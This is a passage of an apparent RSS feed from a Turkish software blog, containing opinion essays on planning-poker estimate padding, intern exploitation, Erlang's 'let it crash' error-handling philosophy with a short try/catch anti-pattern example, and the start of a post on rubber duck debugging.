<p>Ve biz yazılımcılar... Her parlak başlığın arkasında büyülenmek yerine, terminali açıp o sistemin kodunu, ağ trafiğini ve mimarisini sorgulamaya devam etmeliyiz. Çünkü bilim ve mühendislik alkışlarla değil; şüpheyle, testlerle ve acımasız gerçeklerle ilerler.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>startup</category>
            <category>teknoloji-medyasi</category>
            <category>pr-balonu</category>
            <category>turkiye-ekosistemi</category>
            <category>yerli-teknoloji</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/turkiyede-teknoloji-medyasi-ve-yerlimilli-startup-abartisi/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["Teknik Bilmeyen Yönetici" ve Şişirilen Efor Tahminleri (Planning Poker Tiyatrosu)]]></title>
            <link>http://localhost:3000/blog/post/teknik-bilmeyen-yonetici-ve-sisirilen-efor-tahminleri-planning-poker-tiyatrosu</link>
            <guid>teknik-bilmeyen-yonetici-ve-sisirilen-efor-tahminleri-planning-poker-tiyatrosu</guid>
            <pubDate>Wed, 08 Jul 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Fibonacci kartlarıyla oynanan iki haftalık kabare, kodun karmaşıklığını buton boyamak sanan yöneticiler ve mühendislerin hayatta kalma kalkanı olarak efor şişirme sanatı.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/teknik-bilmeyen-yonetici-ve-sisirilen-efor-tahminleri-planning-poker-tiyatrosu/thumbnail" alt=""> Pazartesi sabahı saat 10:00. Toplantı odasında (veya Zoom ekranında) toplanmış sekiz kişilik bir yazılım ekibi. Önlerinde açık duran Jira tahtası ve ekranın köşesinde parlayan bir "Planning Poker" uygulaması.</p>
<p>Masa başındaki Scrum Master veya Ürün Yöneticisi (Product Manager) boğazını temizleyerek sıradaki görevi okur:</p>
<p><em>"Kullanıcı ödeme adımlarında çoklu para birimi desteği ve veritabanı şemasının geriye dönük uyumlu refactor edilmesi."</em></p>
<p>Geri sayım başlar: 3, 2, 1... Kartlar açılır.</p>
<p>Kıdemli backend mühendisi: <strong>13 puan.</strong><br>
Veritabanı uzmanı: <strong>13 puan.</strong><br>
Junior geliştirici: <strong>8 puan.</strong><br>
Ve teknik geçmişi olmayan, kariyerinde tek bir satır kod yazmamış, işin tüm mutfağını Excel tablolarından ibaret sanan Proje Yöneticisi: <strong>2 puan.</strong></p>
<p>Odaya bir anda derin, buz gibi bir sessizlik çöker. Yönetici kaşlarını çatarak ekrana bakar: <em>"Arkadaşlar, neden 13 verdiniz ki? Altı üstü kullanıcı ekranında Dolar ve Euro simgesi gözükecek, bir de veritabanına bir kolon ekleyeceksiniz. Buton rengi değiştirmek gibi bir şey değil mi bu? Bence buna en fazla 3 puan verelim, çarşamba öğleden sonraya biter."</em></p>
<p>İşte o an, modern kurumsal yazılım dünyasının en trajikomik tiyatrosu olan "Planning Poker Kabaresi" perdesini açmıştır.</p>
<h3>Ameliyathaneye Kronometreyle Giren İdari Memur</h3>
<p>Bu sahneyi sağlık sektöründeki bir analogla gözünüzün önüne getirin.</p>
<p>Acil serviste bir cerrahi ekip, trafik kazası geçirmiş ve iç kanaması olan bir hastayı acilen ameliyathaneye almıştır. Cerrah batını açmış, parçalanmış dalağı onarmaya, mezenterik damarlardaki kanamayı klemplemeye çalışmaktadır.</p>
<p>Tam o sırada ameliyathanenin kapısı tekmeyle açılır. İçeriye hastanenin mali işler ve idari süreçler müdürü girer. Elinde bir kronometre ve bir pano vardır. Cerrahın omzuna dokunup şöyle der:</p>
<p><em>"Hocam, apandisit ameliyatını geçen hafta 25 dakikada bitirmiştiniz. Bu dalağı da 20 dakikada dikip kapatın lütfen. Koridorda bekleyen 15 hasta daha var, Sağlık Bakanlığı'nın bekleme süresi KPI'larını tutturamıyoruz. Ayrıca dikiş atarken kullandığınız ipliği de yarıya indirin, maliyetler şişiyor."</em></p>
<p>Böyle bir durumda cerrah ne yapar? Muhtemelen steril eldivenlerini çıkarıp o yöneticinin suratına fırlatır ve hastayı öldürmemek için onu derhal ameliyathaneden dışarı attırır.</p>
<p>Çünkü tıpta ameliyatın süresini idari memurun arzuları değil; hastanın anatomisi, dokunun kırılganlığı ve kanamanın şiddeti belirler. Cerrah bistüriyi vurduğu anda içeride neyle karşılaşacağını %100 öngöremez; karın boşluğu açıldığında beklenmeyen bir yapışıklık, atipik bir damar varyasyonu veya gizli bir nekroz çıkabilir.</p>
<p>Yazılım mühendisliği de tam olarak canlı bir cerrahidir. Kod tabanınız sizin hastanızdır. Ekranda gördüğünüz "küçük bir para birimi simgesi", aslında buzdağının suyun üstündeki 1 milimetrelik ucudur.</p>
<p>Suyun altında ise; distributed transaction yönetimi, mikroservisler arası eventual consistency problemleri, eski ödeme sağlayıcılarının geriye dönük uyumsuzlukları, veritabanında milyonlarca satır kilitlenmeden (lock contention) yapılacak şema migrasyonları ve concurrency yarış durumları (race conditions) yatmaktadır.</p>
<p>Kodun C'sini bilmeyen bir yöneticinin "altı üstü bir kolon ekleyeceksiniz" demesi, batın cerrahisine "altı üstü deriyi kesip biçeceksiniz" demek kadar vahim bir cehalettir.</p>
<h3>Hayatta Kalma Kalkanı: Efor Şişirme ve Padding Sanatı</h3>
<p>Peki, bu liyakatsiz baskı karşısında yazılımcılar ne yapar? İsyan edip istifa mı ederler?</p>
<p>Hayır, çoğu zaman hayatta kalma mekanizmasını devreye sokarlar: <strong>Eforları sistematik olarak şişirmek (Padding).</strong></p>
<p>Mühendis bakar ki, gerçekçi bir tahmin verdiğinde (örneğin "Bu iş temiz ve testleriyle birlikte 3 gün sürer" dediğinde), yönetici bunu 1 güne indirmek için pazarlık yapıyor. O zaman mühendis zihninde bir savunma algoritması çalıştırır:</p>
<ol>
<li>İşin gerçek süresi: 3 gün.</li>
<li>Beklenmeyen teknik borç payı: 2 gün.</li>
<li>Yöneticinin pazarlıkla kırpacağı pay: 3 gün.</li>
<li>Toplam talep edilen efor: <strong>8 gün.</strong></li>
</ol>
<p>Mühendis toplantıda <em>"Bu iş en az 8 gün sürer"</em> der. Yönetici zafer kazanmış bir komutan edasıyla pazarlığa oturur: <em>"8 çok, bunu 5 günde bitirin, anlaşalım."</em></p>
<p>Mühendis yüzünü ekşitir, sanki büyük bir fedakarlık yapıyormuş gibi iç çeker: <em>"Peki, ekip olarak gecemizi gündüzümüze katarız, 5 günde bitirmeye çalışırız."</em></p>
<p>Sonuç? Herkes mutludur! Yönetici "üç günlük tasarruf sağladım" diyerek üst yönetime sunum yapar; mühendis ise aslında 3 günde bitireceği iş için 5 gün alarak arkasını sağlama almış, stresini minimize etmiştir.</p>
<p>Ancak bu sahte mutluluğun bedeli çok ağırdır: <strong>Karşılıklı güvenin tamamen yok olması.</strong></p>
<p>Yönetici bilir ki yazılımcı eforu şişiriyor; yazılımcı bilir ki yönetici her tahmini yarıya indirmeye çalışacak. Ortada mühendislik tahmini kalmaz; pazar yerinde domates fiyatı için yapılan şark kurnazlığı kalır.</p>
<h3>Story Point Bir Para Birimi Değildir</h3>
<p>Scrum ve Çevik (Agile) metodolojilerin ortaya çıkış amacı bu değildi.</p>
<p>Fibonacci dizisi (1, 2, 3, 5, 8, 13...) zamanı değil; <strong>karmaşıklığı, bilinmezliği ve riski</strong> ölçmek için tasarlanmıştı. Bir işe 13 puan vermek, "bu iş 13 gün sürer" demek değildir; "bu işte çok fazla bilinmeyen değişken var, risk yüksek, mimari olarak dikkatli adım atmalıyız" demektir.</p>
<p>Fakat teknik bilgisi olmayan yöneticilerin elinde Story Point, doğrudan saate ve güne dönüştürülen bir kölelik katsayısına evrildi: <em>"Ekibin sprint hızı 40 puan, demek ki adam başı günde 2 puan kod yazacaksınız!"</em></p>
<p>Bu matematiksel ilkellik, yazılımın doğasına aykırıdır. Bir mühendis bazen üç gün boyunca ekrana tek bir satır kod yazmadan sadece mimari çizer, logları inceler ve bellek profili çıkarır; dördüncü gün tek bir satırlık bir konfigürasyon değişikliğiyle tüm sistemi 10 kat hızlandırır. O tek satır kodun değeri, bin satır kopyala-yapıştır kod yazmaktan çok daha büyüktür.</p>
<h3>Tiyatroyu Bitirmek</h3>
<p>Bu kısır döngüyü kırmanın tek bir yolu vardır: <strong>Teknik liderliğe saygı duymak ve tahminin doğasını anlamak.</strong></p>
<p>Bir hastanede başhekim nasıl ki mali işler uzmanı değil de kıdemli bir tıp doktoru olmak zorundaysa; yazılım ekiplerinin başında da kodun kokusunu (code smell) bilen, teknik borcun faturasını ödemiş, mimari vizyona sahip teknik liderler olmak zorundadır.</p>
<p>Yöneticinin görevi mühendisle kodun kaç saat süreceği üzerine pazarlık yapmak değildir. Yöneticinin görevi:</p>
<ul>
<li>İş gereksinimlerinin sınırlarını netleştirmek,</li>
<li>Ekibin önündeki bürokratik ve organizasyonel engelleri kaldırmak,</li>
<li>Ve mühendisin "burada yüksek risk var" uyarısına saygı duyarak ürünün takvimini o gerçekliğe göre yönetmektir.</li>
</ul>
<p>Tahmin bir taahhüt değil, bir olasılık dağılımıdır. Yazılım dünyasında hiçbir ameliyat yüzde yüz garantili değildir. Ve o masada bistüriyi tutan insana güvenmiyorsanız, o masaya hiç oturmamalısınız.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>proje-yonetimi</category>
            <category>planning-poker</category>
            <category>scrum</category>
            <category>efor-tahmini</category>
            <category>yonetim-kulturu</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/teknik-bilmeyen-yonetici-ve-sisirilen-efor-tahminleri-planning-poker-tiyatrosu/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["Stajyer" Sömürüsü ve "Sana Tecrübe Kazandırıyoruz" Yalanı]]></title>
            <link>http://localhost:3000/blog/post/stajyer-somurusu-ve-sana-tecrube-kazandiriyoruz-yalani</link>
            <guid>stajyer-somurusu-ve-sana-tecrube-kazandiriyoruz-yalani</guid>
            <pubDate>Tue, 07 Jul 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Yol ve yemek parasının dahi lütuf sayıldığı, "CV'ne prestij katıyoruz" maskesiyle yürütülen modern angarya düzeni ve usta-çırak etiğinin iflası.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/stajyer-somurusu-ve-sana-tecrube-kazandiriyoruz-yalani/thumbnail" alt=""> Türkiye'deki teknoloji ekosisteminde bir yazılım şirketinin kurucusunun veya İK yöneticisinin ağzından şu cümleyi duyduğunuzda, arkanıza bakmadan kaçmanız gereken bir an gelmiş demektir:</p>
<p><em>"Biz stajyerlerimize para değil, parayla satın alamayacakları muazzam bir tecrübe kazandırıyoruz. Burası senin için bir okul, CV'ne bizim adımızı yazmak sana tüm kapıları açacak."</em></p>
<p>Bu cümle, modern kurumsal dünyanın en pervasız, en ahlaksız yalanlarından biridir.</p>
<p>"Tecrübe kazandırma" kılıfı altına gizlenmiş olan şey; asgari ücretin dahi çok görüldüğü, yol ve yemek masraflarının gencin kendi cebinden (veya ailesinin emekli maaşından) karşılandığı, haftada 45 saat boyunca production ortamındaki angarya işlerin sırtına yıkıldığı katıksız bir emek sömürüsüdür.</p>
<p>Genç bir üniversite öğrencisi veya yeni mezun, sektöre adım atabilmek, o meşhur "en az 2 yıl tecrübeli junior" ilanlarının kapısını aralayabilmek umuduyla bu zehirli sözleşmeyi kabul eder. Masasına oturur. Ve çok geçmeden anlar ki, ona vaat edilen o "okul" aslında modern bir dijital taş ocağıdır.</p>
<h3>İntörn Hekimlik Sendromu: Eğitim mi, Ucuz İş Gücü mü?</h3>
<p>Bu tablonun tıp dünyasındaki karşılığı ne yazık ki asırlık bir yaradır: <strong>İntörn hekimlik.</strong></p>
<p>Tıp fakültesinin son sınıfına gelen öğrenciler, bir yıl boyunca hastanelerde "intörn doktor" unvanıyla görev yaparlar. Teoride bu yılın amacı; kıdemli hekimlerin yanında hasta muayene etmek, klinik karar verme süreçlerini izlemek, vaka tartışmalarına katılmak ve hekimlik zanaatını sahada öğrenmektir.</p>
<p>Peki pratikte ne olur?</p>
<p>Hastanenin yetersiz personel kadrosu yüzünden intörn hekimler; sabahın köründen gecenin yarısına kadar yüzlerce hastadan kan alan, EKG çeken, laboratuvara kan tüpü taşıyan, taburculuk dosyalarını arşivleyen ve kıdemlilerin angaryalarını temizleyen "bedava asistanlara" dönüştürülür. Yanında durdukları hoca onlara iki satır klinik mantık anlatmaz; çünkü sistem onları bir öğrenci olarak değil, hastanenin dönmesini sağlayan en ucuz dişli olarak görmektedir.</p>
<p>İşte yazılım sektöründeki stajyerlik düzeni, intörn hekimlik sendromunun birebir kopyasıdır.</p>
<p>Şirket stajyeri alır. Ona bir mentor atamaz. Kıdemli mühendislerin stajyere bir şeyler anlatacak vakti yoktur; çünkü onlar da yöneticinin gerçek dışı sprint teslim tarihleri altında ezilmektedir. Stajyer masada tek başına bırakılır. Önüne yığılan işler ise şunlardır:</p>
<ul>
<li>Kimsenin dokunmak istemediği 10 yıllık eski bir projenin eksik dokümantasyonunu yazmak,</li>
<li>Excel tablolarındaki yüz binlerce satır veriyi tek tek kopyalayıp veritabanına girmek,</li>
<li>UI'daki butonların piksellerini sağa sola kaydırmak,</li>
<li>Ve production ortamında patlayan, kıdemlilerin uğraşmaktan nefret ettiği saçma sapan third-party kütüphane bug'larını çözmeye çalışmak.</li>
</ul>
<p>Ortada bir eğitim yoktur. Ortada bir mentorluk yoktur. Ortada sadece şirketin kıdemli mühendise saatliği 50 dolar ödemek istemediği işleri, 21 yaşındaki bir gence sıfır liraya yaptırma kurnazlığı vardır.</p>
<h3>"Hata Yaparsan Faturasını Sen Ödersin" İkiyüzlülüğü</h3>
<p>Bu sömürü düzeninin en iğrenç boyutu ise sorumluluk anında ortaya çıkar.</p>
<p>Stajyere iş verirken <em>"Sen bu sistemin bağımsız bir geliştiricisisin"</em> diyerek sırtını sıvazlayan yöneticiler; stajyerin yaptığı bir hata yüzünden production sunucusu çöktüğünde veya veritabanında bir tutarsızlık yaşandığında bir anda canavara dönüşürler.</p>
<p>Slack kanallarında genci azarlayanlar, <em>"Bunu nasıl yaparsın, hiç mi test etmedin!"</em> diye bağıranlar türer.</p>
<p>Bir acil serviste intörn hekimin yanlış damar yolu açması veya yanlış doz hesaplaması intörnün suçu değildir; onun başında durup o enjektörü denetlemeyen kıdemli hekimin ve nöbetçi uzmanın suçudur. Bir sistemde stajyerin yaptığı tek bir kod değişikliği doğrudan production ortamına çıkabiliyorsa ve sistemi çökertebiliyorsa; orada suçlu stajyer değil, CI/CD pipeline'ı kuramayan, code review yapmayan ve ortam yetkilendirmesini beceremeyen teknik liderdir.</p>
<p>Yetkiyi ve sorumluluğu kıdemliye ait olan bir ortamda, faturayı stajyere kesmek sadece yöneticilik basiretsizliği değil, apaçık bir korkaklıktır.</p>
<h3>Usta-Çırak Geleneğinin Katli</h3>
<p>Bizim kültürümüzün temelinde Ahilik ve usta-çırak ahlakı vardır. Tıpta da, kadim zanaatlarda da bu böyledir.</p>
<p>Usta, çırağını atölyeye aldığında sadece onun emeğini kullanmaz; onun ekmeğinden, suyundan, mesleki ahlakından ve geleceğinden sorumlu olur. Usta, çırağının yanlışını kendi yanlışı bilir; elini tutar, aletin nasıl tutulacağını, malzemenin nasıl işleneceğini sabırla gösterir. Ve çırak ustasının yanında geçirdiği yılların sonunda sadece meslek öğrenmez; bir karakter ve mesleki haysiyet kazanır.</p>
<p>Bugünün yazılım şirketleri ise usta-çırak ilişkisini bir insan kaynakları maliyet optimizasyonuna indirgemiştir.</p>
<p>Bir gence tecrübe kazandırmak bir <strong>lütuf</strong> değildir. Bir şirketin ekibine kattığı stajyere mentorluk vermesi, ona kod incelemesi (code review) yapması, mimari kararların arkasındaki nedenleri anlatması bir "bağış" değil; o şirketin sektöre ve kendi geleceğine olan asgari borcudur.</p>
<p>Dahası; bir insanın harcadığı zaman, döktüğü alın teri ve verdiği zihinsel odak para ile karşılanmak zorundadır. <em>"Sana para vermiyoruz ama çok şey öğreniyorsun"</em> demek, bakkaldan ekmek alırken <em>"Parayı vermiyorum ama dükkanında çok güzel müşteri trafiği oluşturdum"</em> demek kadar ahlaksızcadır. O genç insan o ofise gelebilmek için otobüs bileti almak, öğlen karnını doyurmak ve insanca yaşamak zorundadır.</p>
<h3>Genç Yetenekleri Küstüren Ekosistem Kuruyup Kalır</h3>
<p>Bugün Türkiye'de binlerce parlak bilgisayar mühendisliği öğrencisi, daha üniversite sıralarındayken bu acımasız sömürü çarkıyla karşılaştığı için sektöre ve ülkeye küsüyor.</p>
<p>Kendisine değer verilmediğini, bedava iş gücü olarak kullanıldığını, hiçbir şey öğretilmeden aşağılandığını gören bir genç; mezun olduğu gün ilk fırsatta bavulunu toplayıp insanca çalışma koşulları sunan Avrupa veya Amerika merkezli şirketlere gitmek istiyor.</p>
<p>Sonra aynı şirket yöneticileri LinkedIn'de yakınıyorlar: <em>"Türkiye'de kaliteli yazılımcı bulamıyoruz, beyin göçü bizi mahvetti."</em></p>
<p>Siz o gençleri stajyerken aç bıraktınız. Onlara yol parası vermediniz. Onlara kodun mantığını öğretmek yerine angaryalarınızı yıktınız. Ve şimdi onların size sadakat göstermesini mi bekliyorsunuz?</p>
<p>Bir yazılım şirketinin kalitesi, ofisindeki langırt masasıyla veya mutfağındaki bedava fıstık ezmesiyle ölçülmez. Bir şirketin kalitesi ve etik düzeyi; ekibindeki en savunmasız, en tecrübesiz insana —yani stajyerine— nasıl davrandığıyla, ona ne kadar saygı duyduğuyla ve emeğinin karşılığını ne kadar adil ödediğiyle ölçülür.</p>
<p>Ve stajyerini sömüren bir şirketin ürettiği yazılımdan da, kurduğu gelecekten de bu memlekete hiçbir hayır gelmez.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>stajyer</category>
            <category>emek-somurusu</category>
            <category>mentorluk</category>
            <category>yazilim-sektoru</category>
            <category>kariyer</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/stajyer-somurusu-ve-sana-tecrube-kazandiriyoruz-yalani/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["Bırakın Çöksün": Bazen Sistemlerin Çökmesine İzin Vermek Gerekir]]></title>
            <link>http://localhost:3000/blog/post/birakin-coksun-bazen-sistemlerin-cokmesine-izin-vermek-gerekir</link>
            <guid>birakin-coksun-bazen-sistemlerin-cokmesine-izin-vermek-gerekir</guid>
            <pubDate>Mon, 06 Jul 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Erlang'in radikal "Let it crash" felsefesi, yutulan istisnaların yarattığı zombi durumlar ve bozuk bir süreci suni solunumla yaşatmaya çalışmanın mimari bedelleri.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/birakin-coksun-bazen-sistemlerin-cokmesine-izin-vermek-gerekir/thumbnail" alt=""> Yazılıma yeni başlayan veya orta kıdemdeki geliştiricilerin kodlarında en sık rastlanan, ilk bakışta "sorumlu ve tedbirli" gibi görünen ama aslında bir felaketin tohumlarını eken klasik bir kalıp vardır:</p>
<pre><code class="language-javascript">try {
  processCriticalTransaction(userPayload);
} catch (error) {
  logger.error("Bir hata oldu ama çaktırmıyoruz:", error);
  return null; // veya return [];
}
</code></pre>
<p>Geliştirici bu kodu yazarken kendince gurur duyar: <em>"Bakın, sistemim asla çökmüyor (crash olmuyor). Hata çıksa bile yakalıyorum, loga yazıyorum ve akışı kesintisiz devam ettiriyorum."</em></p>
<p>Oysa o geliştiricinin bilmediği şey, sistemin kalbine saatli bir bomba yerleştirdiğidir.</p>
<p>Hatayı yutarak (exception swallowing) yoluna devam eden o süreç; bellekte yarım kalmış bir nesne referansı, veritabanında açılmış ama kapanmamış bir transaction kilidi veya hesaplama mantığında zehirlenmiş bir state (durum) bırakmıştır.</p>
<p>Sistem çökmeyip suni solunumla nefes almaya devam ettikçe; o bozuk veri diğer servislere yayılır, bellek sinsi bir şekilde tükenir ve saatler sonra, gecenin üçünde tüm platform öngörülemez, kurtarılamaz ve izi sürülemez bir kaskat çöküşle (cascading failure) yerle bir olur.</p>
<p>İşte tam bu noktada, telekomünikasyon dünyasının ve dağıtık sistemlerin en devrimci dehası olan Joe Armstrong'un ve Erlang/OTP dünyasının o radikal manifestosu yankılanır: <strong>"Let it crash!" (Bırakın çöksün!)</strong></p>
<h3>Tıpta Apoptozis ve DNR: Ne Zaman Duracağını Bilmek</h3>
<p>Bu felsefeyi kavrayabilmek için biyolojinin ve acil tıbbın en derin kurallarına bakmak gerekir.</p>
<p>İnsan vücudunda her gün milyarlarca hücre DNA hasarına uğrar veya işlevini yitirir. Vücut bu hasarlı hücreleri "ne pahasına olursa olsun yaşatmaya" çalışmaz. Aksine, biyolojinin en kusursuz savunma mekanizması olan <strong>apoptozis (programlanmış hücre ölümü)</strong> devreye girer. Hasarlı hücreye intihar sinyali gönderilir; hücre sessizce parçalanır, temizlenir ve yerine kemik iliğinden gelen taptaze, sağlıklı bir hücre yerleşir.</p>
<p>Eğer vücut o hasarlı hücreyi zorla yaşatmaya çalışsaydı ne olurdu? O hücre kontrolsüzce çoğalır, diğer dokuları istila eder ve biz buna tıp dilinde <strong>kanser</strong> derdik.</p>
<p>Benzer şekilde, acil serviste veya yoğun bakımda hekimliğin en ağır ama en hayati kararlarından biri "DNR" (Do Not Resuscitate - Canlandırma Uygulamayın) anıdır.</p>
<p>Beyin ölümü gerçekleşmiş, çoklu organ yetmezliğine girmiş ve biyolojik olarak geri dönüşü imkansız bir hastaya saatlerce kalp masajı yapmak, adrenalin pompalamak hastayı hayata döndürmez; sadece hastanın kaburgalarını kırar, dokuları parçalar ve ölümü gereksiz bir ıstırapla uzatır. İyi bir hekim, ne zaman müdahale edeceğini bildiği kadar, doğanın sınırlarına ne zaman saygı duyup geri çekileceğini de bilen hekimdir.</p>
<h3>Erlang Felsefesi: Bozuk State'i Tamir Etmeye Çalışma</h3>
<p>Yazılımda "Let it crash" ilkesi, <em>"Hata yönetimini boş verin, sistem darmadağın olsun"</em> anlamına gelmez. Tam aksine, <strong>kusursuz bir hata izolasyonu ve yeniden başlatma disiplini</strong> demektir.</p>
<p>Geleneksel savunmacı programlamada (defensive programming), geliştirici her olası hatayı önceden tahmin edip kodun içine yüzlerce <code>if-else</code> ve <code>try-catch</code> serpiştirir. Bu durum kodu okunmaz hale getirdiği gibi, tahmin edilemeyen sıra dışı bir durum (edge case) ortaya çıktığında sistemin öngörülemez bir duruma (undefined state) girmesine neden olur.</p>
<p>Erlang ve aktör modelinin yaklaşımı ise son derece berraktır:</p>
<ol>
<li><strong>İzolasyon (Shared Nothing):</strong> Her işlem (process) kendi izole bellek alanında çalışır. Bir işlemin çökmesi, yanındaki diğer işlemi fiziksel olarak etkileyemez.</li>
<li><strong>Fail Fast (Hızlıca Çök):</strong> İşlem beklenmeyen bir durumla karşılaştığı an, durumu yamamaya çalışmadan anında ölmeli (crash olmalıdır). Çünkü belleğindeki verinin bozulup bozulmadığını garanti edemezsiniz.</li>
<li><strong>Süpervizör Ağacı (Supervisor Trees):</strong> Ölen işlemi gözlemleyen bir üst mekanizma (supervisor) vardır. Bu mekanizma, ölen süreci milisaniyeler içinde öldürür ve onu bilinen, temiz, kararlı bir başlangıç state'i ile yeniden ayağa kaldırır.</li>
</ol>
<p>Bu, bir cerrahın ameliyathanede enfekte olmuş ve dokusu çürümüş bir apandisiti dikip onarmaya çalışmak yerine, onu kökünden kesip dışarı atması ve hastanın sağlıklı dokusunun kendini yenilemesine izin vermesi gibidir. Temiz bir başlangıç, yamalı bir hayattan her zaman daha güvenilirdir.</p>
<h3>Zombi Süreçler ve Sessiz Zehirlenme</h3>
<p>Bir sistemde istisnaları yutmanın en korkunç sonucu "Zombi Süreçler"dir.</p>
<p>Örneğin bir mikroservis mimarisinde, ödeme kuyruğunu tüketen bir worker düşünün. Bir veritabanı bağlantı hatası veya deserialization bug'ı yüzünden worker'ın bir thread'i kilitlendi. Ancak geliştirici hatayı <code>catch</code> bloğunda yuttuğu için proses işletim sistemi seviyesinde ayakta duruyor; Kubernetes pod'unun liveness check'i 200 OK dönmeye devam ediyor.</p>
<p>Dışarıdan baktığınızda her şey yeşil, monitörler pırıl pırıl!</p>
<p>Fakat içeride, kuyruktaki mesajlar birikiyor; kilitlenen thread hafızayı tüketiyor, diğer thread'lerin kaynaklarını sömürüyor. Sistem can çekişiyor ama ölmesine izin verilmediği için yerine yeni bir pod ayağa kaldırılamıyor.</p>
<p>Eğer o worker ilk hatada "bırakılsaydı ve çökseydi"; işletim sistemi prosesi öldürecek, Kubernetes pod'un çöktüğünü anlayıp 2 saniye içinde taze bir pod başlatacak ve kuyruk akmaya devam edecekti.</p>
<p>Sistemin çökmesini engellemek adına yaptığınız her yapay pansuman, aslında sistemin kendini iyileştirme refleksini felç eden bir toksindir.</p>
<h3>Çöküşten Korkmayan Mimariler İnşa Etmek</h3>
<p>Mühendislik olgunluğu, "asla çökmeyen sistemler" hayal etmekten vazgeçip; <strong>"her an çökebileceğini kabul eden ve çöktüğünde hiçbir veri kaybetmeden, saniyeler içinde ayağa kalkan sistemler"</strong> tasarlamaya başladığınızda gelir.</p>
<p>Bu zihniyet dönüşümü mimarinizi kökten değiştirir:</p>
<ul>
<li><strong>Stateless Tasarım:</strong> Süreçlerinizin içinde kalıcı durum tutmazsınız. Bir sürecin ölmesi hiçbir veri kaybına yol açmaz; durum veritabanında veya dağıtık kuyrukta güvenle saklanır.</li>
<li><strong>İdempotent İşlemler:</strong> Yeniden başlayan bir süreç, yarım kalmış bir işi tekrar denediğinde (retry) yan etki (side-effect) üretmez; aynı işlemi güvenle tekrarlayabilir.</li>
<li><strong>Circuit Breaker ve İzolasyon:</strong> Çöken bir bağımlılık, tüm platformu peşinden sürüklemez; devre açılır ve sistem zarafetle geriler (graceful degradation).</li>
</ul>
<p>Korku, mimarinin en kötü danışmanıdır. Bir sistemin çökmesinden korktuğunuz için her satırı yapay korumalarla boğarsanız, ortaya sadece kriz anında ne yapacağı kestirilemeyen kırılgan bir canavar çıkarırsınız.</p>
<p>Bırakın çöksün. Hızlı çöksün, gürültülü çöksün ve temiz çöksün. Çünkü ancak doğru çökmeyi bilen sistemler, gerçek krizlerin ortasında dimdik ayakta kalabilir.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>sistem-mimarisi</category>
            <category>let-it-crash</category>
            <category>erlang</category>
            <category>hata-yonetimi</category>
            <category>resilience</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/birakin-coksun-bazen-sistemlerin-cokmesine-izin-vermek-gerekir/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["Rubber Duck Debugging" ve İnsan Zihninin Sesli Düşünme İhtiyacı]]></title>
            <link>http://localhost:3000/blog/post/rubber-duck-debugging-ve-insan-zihninin-sesli-dusunme-ihtiyaci</link>
            <guid>rubber-duck-debugging-ve-insan-zihninin-sesli-dusunme-ihtiyaci</guid>
            <pubDate>Sun, 05 Jul 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Masadaki sarı plastik ördeğe kod anlatırken gelen o ani aydınlanma, zihnimizin kör noktaları ve düşünceyi ses dalgasına dökmenin nörolojik katarzisi.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/rubber-duck-debugging-ve-insan-zihninin-sesli-dusunme-ihtiyaci/thumbnail" alt=""> Her yazılımcının meslek hayatında en az yüzlerce kez yaşadığı, hem gülümseten hem de insanın kendi zihnine karşı derin bir mahcubiyet duymasına neden olan o klasik anı hatırlayın:</p>
<p>Saatlerdir ekrana kilitlenmişsinizdir. Gözleriniz kan çanağına dönmüştür. Terminalde kırmızı bir hata mesajı yanıp sönmekte veya daha kötüsü, sistem hiçbir hata fırlatmadan tamamen yanlış bir çıktı üretmektedir. Kod satırlarını defalarca baştan sona okumuş, logları kontrol etmiş, değişkenlerin değerlerini tek tek yazdırmış ama mantık hatasını bir türlü yakalayamamışsınızdır.</p>
<p>Çaresizlik içinde yan masadaki meslektaşınıza dönersiniz:</p>
<p><em>"Ahmet, müsaitsen bir bakar mısın? Kafayı yemek üzereyim, iki saattir bu fonksiyonun neden null döndüğünü bulamıyorum."</em></p>
<p>Ahmet sandalyesini kaydırarak ekranınızın yanına gelir: <em>"Anlat bakalım, ne yapıyor bu fonksiyon?"</em></p>
<p>Siz başlarsınız anlatmaya:</p>
<p><em>"Bak şimdi, kullanıcı formu gönderince önce API isteğini karşılıyoruz. Şurada gelen parametreleri valide ediyoruz. Sonra veritabanından kullanıcı profilini çekiyoruz. Ardından eğer kullanıcının yetkisi varsa şu servisi çağırıp..."</em></p>
<p>Tam o kelimede sesiniz kesilir. Gözleriniz büyür. Parmağınız ekranda bir satırın üzerinde asılı kalır. Ağzınız açık öylece bakakalırsınız.</p>
<p>Ahmet daha tek bir kelime etmemiştir; hatta muhtemelen ekrandaki koda henüz odaklanamamıştır bile.</p>
<p>Siz aniden sandalyenizden fırlarsınız: <em>"Tamam Ahmet, bakmana gerek kalmadı, çözdüm! Değişkeni fonksiyonun içinde değil döngünün dışında tanımlamışım!"</em></p>
<p>Ahmet bıyık altından gülerek sandalyesini masasına çeker. Siz ise hem sorunu çözmenin getirdiği hafiflemeyle hem de iki saattir burnunuzun ucundaki hatayı göremediğiniz için kendinize duyduğunuz öfkeyle baş başa kalırsınız.</p>
<p>İşte yazılım folkloruna "Rubber Duck Debugging" (Plastik Ördek Hata Ayıklama) olarak geçen bu pratik, sadece şakacı bir ofis geleneği değil; insan bilişinin (cognition) en büyüleyici sırlarından biridir.</p>
<h3>Zihnin Görünmez Sıçramaları ve Kör Noktalar</h3>
